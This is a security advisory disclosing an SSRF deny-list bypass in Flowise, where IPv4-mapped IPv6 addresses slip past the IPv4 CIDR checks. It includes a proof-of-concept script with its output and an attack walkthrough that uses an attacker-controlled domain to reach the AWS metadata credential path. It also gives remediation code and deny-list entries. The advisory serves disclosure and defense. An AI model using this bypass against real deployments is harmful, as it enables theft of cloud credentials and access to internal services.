GHSA-c6xh-wv4j-ppv5

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

• CWE-918: Server-Side Request Forgery (SSRF)
• CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

• All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
• This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

• ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
• ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
• 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

| Function | Usage Count | Affected Components | |----------|:-----------:|-------------------| | secureAxiosRequest() | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank | | secureFetch() | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool | | checkDenyList() | 3+ | MCP Server URL validation, fetch-links service, web scraping |

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) PoC script: poc_ssrf_bypass.js

Impact

| Target | Impact | Severity | |--------|--------|----------| | AWS/GCP/Azure Metadata (169.254.169.254) | Steal IAM credentials, service account tokens | Critical | | Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) | Access internal APIs, databases, admin panels | High | | Localhost (127.0.0.1) | Access Flowise's own API with elevated privileges, access co-located services | High |

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);
    
    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }
    
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}